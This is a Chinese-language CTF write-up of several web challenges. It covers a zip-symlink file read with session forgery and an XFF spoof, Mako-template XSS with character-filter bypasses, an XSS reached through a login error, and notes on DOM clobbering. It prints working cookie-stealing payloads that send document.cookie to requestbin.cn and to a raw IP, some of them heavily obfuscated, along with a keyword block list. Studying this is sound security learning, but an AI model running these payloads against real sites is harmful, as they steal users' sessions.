1 | 本次比赛只做了web的签到 |
Slippy
web签到题,源码就不贴了
关键部分
1 | router.post('/upload', upload.single('zipfile'), (req, res) => { |
一眼unzip软链接
实现了任意文件读取
给的附件里有个.env,可以拿到process.env.SESSION_SECRET
可以伪造session
但是express-session的模块不止于此,我们发现源码里已经建立了一个用户develop
1 | const sessionData = { |
我们还得知道session_id,即这个所谓附件中的占位符
至于如何知道这个占位符,直接去读server.js文件不就可了吗?
确实如此,拿到
session_id=amwvsLiDgNHm2XXfoynBUNRA2iWoEH5E
又知secret=3df35e5dd772dd98a6feb5475d0459f8e18e08a46f48ec68234173663fca377b
可以拿出session登录userId='develop'
脚本
1 | const crypto = require('crypto'); |
至于我们为什么要登录这个session呢?看这里
1 | router.get('/debug/files', developmentOnly, (req, res) => { |
可以实现列目录的功能
如何通过这个developmentOnly.js文件呢?
看看
1 | module.exports = function (req, res, next) { |
因此想要实现这个debug功能列目录,必须req.session.userId === 'develop' && req.ip == '127.0.0.1'
通过
user_id成功,127.0.0.1?xff伪造秒了
至于我们为什么要实现列目录呢?
因为dockerfile给flag文件赋了一个随机的路径,我们需要列目录读出来
走到这就结束了,拿到flag路径,软链接读就行了
1 | ln -s ../../../../xxxxxxxx/flag.txt link |
KISSFIXESS
用mato模板注入打xss
关键怎么绕过呢?
可以用${7*7}
发现成功49
这道题最令人毛骨悚然的(bushi,菜就多练
是mato模块里的一个绕过字符检测方式
利用‘%c’%115绕过s等等字符‘%c’%46绕过.‘%c’ % 36 绕过$等等,最后直接全部绕过
1 | <script>fetch('http://requestbin.cn:80/u76c50u7?c='+document.cookie)</script> |
直接编码
1 | {'%c'%60 + '%c'%115 + '%c'%99 + '%c'%114 + '%c'%105 + '%c'%112 + '%c'%116 + '%c'%62 + '%c'%102 + '%c'%101 + '%c'%116 + '%c'%99 + '%c'%104 + '%c'%40 + '%c'%39 + '%c'%104 + '%c'%116 + '%c'%116 + '%c'%112 + '%c'%58 + '%c'%47 + '%c'%47 + '%c'%114 + '%c'%101 + '%c'%113 + '%c'%117 + '%c'%101 + '%c'%115 + '%c'%116 + '%c'%98 + '%c'%105 + '%c'%110 + '%c'%46 + '%c'%99 + '%c'%110 + '%c'%58 + '%c'%56 + '%c'%48 + '%c'%47 + '%c'%117 + '%c'%55 + '%c'%54 + '%c'%99 + '%c'%53 + '%c'%48 + '%c'%117 + '%c'%55 + '%c'%63 + '%c'%99 + '%c'%61 + '%c'%39 + '%c'%43 + '%c'%100 + '%c'%111 + '%c'%99 + '%c'%117 + '%c'%109 + '%c'%101 + '%c'%110 + '%c'%116 + '%c'%46 + '%c'%99 + '%c'%111 + '%c'%111 + '%c'%107 + '%c'%105 + '%c'%101 + '%c'%41 + '%c'%60 + '%c'%47 + '%c'%115 + '%c'%99 + '%c'%114 + '%c'%105 + '%c'%112 + '%c'%116 + '%c'%62} |
太神了 还有一个利用的点 ${banned[0]} 也可以绕过部分字符
总结
主要几个知识点,可以利用同时渲染的banned值以及mato支持python格式化的格式化绕过方式
比如 ‘%c’%60被渲染出来就是<
但是仅有部分模板引擎支持这种渲染
1 | Mako |
windows环境复现无法正常运行bot,换在linux下就拿到flag了
不过有了KISSFIXESSPlus
Plus在过滤了更多
1 | banned = ["s", "l", "(", ")", "self", "_", ".", "\"", "\\", "&", "%", "^", "#", "@", "!", "*", "-", "import", "eval", "exec", "os", ";", ",", "|", "JAVASCRIPT", "window", "atob", "btoa", "="] |
%被过滤了() 还能怎么绕过呢?
1 | ${banned[1]}Script${banned[2]}new Function${banned[3]}decodeURIComponent${banned[3]}String[`fromCharCode`]${banned[3]}37${banned[4]}+`77`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`69`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`64`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`77`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6c`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`63`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`61`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`74`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`69`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`3d`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`22`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`68`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`74`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`74`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`70`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`3a`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`31`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`32`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`30`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`37`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`36`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`31`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`39`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`34`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`32`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`35`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`3a`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`32`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`33`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`32`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`33`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`3f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`61`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`3d`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`22`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2b`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`64`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`63`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`75`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6d`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`65`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`74`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`2e`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`63`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6f`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`6b`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`69`+String[`fromCharCode`]${banned[3]}37${banned[4]}+`65`${banned[4]}${banned[4]}${banned[3]}${banned[4]}${banned[1]}/Script${banned[2]} |
webless
看了一下,味道很熟悉,还是xss
这个路由
1 |
|
禁止一切内联脚本
还有哪里能打xss呢?
注意,很特意的一个设计
登录时密码错误也能导致xss,且没有安全头
我看看怎么回事
1 | if username and password: |
牛
直接干了
但是没那么简单打因为bot会先登录进flag账户,session中已经有了username无法绕过这个
1 |
|
看看大佬怎么做的
用了一个做中介还是用到了/post/xx
1 | <iframe id="flag" src="/post/0" style="width:0;height:0;border:0;visibility:hidden"></iframe> |
1 | <script> |
这道题偷cookie没用的,session不存储密码,就也登不进去
所以这样打可获取父域dom
这种方式很类似于之前老外的有一道比赛
确实不太懂,看能不能复现一下吧
再report一下
cool~
这道题能学到不少xss好活
DOM NOTIFY
1 | DOM clobbering(打击) is a technique in which you inject HTML into a page to manipulate(操作) the DOM and ultimately change the behavior of JavaScript on the page |
适用于什么场景呢?
1 | DOM clobbering is particularly useful in cases where XSS is not possible, but you can control some HTML on a page where the attributes id or name are whitelisted by the HTML filter |
即id or name are whitelisted by the HTML filter
第一篇文章翻译过来就是
所有具有 id 或 name 属性的HTML元素,都会被自动变成全局变量(挂在 window 对象上)。
如果一个元素有 name 属性,它还会成为其父级“破坏对象”的一个属性。
看一下这道题的dompurify函数
1 | function sanitizeContent(content) { |
发现dom-clobbering是被允许的
再看看main.js文件
1 | // window.custom_elements.enabled = true; |
可以通过dom-clobbering修改全局变量,按照它这个逻辑从外部网站获得数据
再阅读一下第二篇文章
Mutation XSS (突变XSS)
关于突变XSS前几个月坐牢时好像使劲搜了下,没看懂,这下原汁原味读一下
真的建议读老外写的()
浏览器的 HTML 解析器(parser)和 Sanitizer 用的解析器可能有 差异。
这类利用“解析器不一致”导致的 XSS,叫 Mutation XSS(突变型 XSS)
对于这道题,就不着急写不懂的WP了,打算再学一篇突变xss
总结
膜拜SU的web组,干这么多题解了,菜鸡只能出签到